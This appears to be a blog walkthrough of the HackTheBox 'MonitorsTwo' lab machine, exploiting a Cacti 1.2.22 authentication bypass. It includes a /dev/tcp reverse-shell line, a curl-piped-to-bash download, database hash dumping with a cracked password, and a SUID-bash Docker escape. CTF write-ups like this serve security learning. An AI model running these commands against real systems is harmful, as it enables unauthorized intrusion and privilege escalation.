MonitorsTwo HTB Walkthrough


In this post, Let’s see how to CTF the monitorstwo from hackthebox. If you have any doubts command down below or ask the doubts by joining the discord.

MonitorsTwo Phases

  1. Adding IP
  2. Nmap
  3. Exploiting the Vulnerability
  4. Database Enumeration
  5. SSH connection
  6. Privilege Escalation

Let’s start

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Adding IP

Add the target IP and the domain name monitorstwo.htb in /etc/hosts.

Then let’s check the target site ????????

We can see a login page. And also we can see the version 1.2.22 and its a cacti group.


From the nmap scan we can say that there are 2 port open they are port 22 and port 80, In port 22 ssh service is running. In port 80 http is running.

nmap -p- -A

So we should find the credentials to connect to ssh.

Exploiting the Vulnerability

After searching for cacti vulnerability 1.2.22 I have came up with this repo.

So from the blog we know “The poller table contains a default entry with the hostname of the server running Cacti. Because of this, attackers can bypass the remote_client_authorized check by, e.g., providing the HTTP header X-Forwarded: <TARGET-IP>.

This way, the function get_client_addr returns the IP address of the server running Cacti. The call to gethostbyaddr resolves this IP address to the hostname of the server, which will pass the poller hostname check because of the default entry.”

The first the what we are doing is a creating a file called rick, Inside that file lets add a reverse shell command.

/bin/bash -i >& /dev/tcp/ 0>&1

Now run the python server.

python3 -m http.server 80

Now let’s listen to port 8888

nc -nlvp 8888

Enter the below command ????????

python3 -c"curl | /bin/bash"

*For the code check the github repo

So, we are in the docker container lets escalate the privilege in the container.

Database Enumeration

Now lets find the password in mysql so we can connect using ssh.

mysql --host=db --user=root --password=root cacti -e "select * from user_auth;"

Let’s use hashcat…

hashcat -m 3200 hashes

So the password is going to be funkymonkey

SSH connection

Just open another terminal and connect via ssh.


ssh marcus@
password: funkymonkey

cat user.txt

Privilege Escalation

For privilege escalation let’s go back to the container and give the privilege to run the files.

chmod u+s /bin/bash
ls -la /bin/bash

Now, come back to the ssh connection.

Enter find mnt and run it.


Let’s run the highlighted area.

ls -la /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p


According to me this is a easy challenge, Great learnt a loot of stuff on containers. Than to cyber geek. See you guys in the next post.


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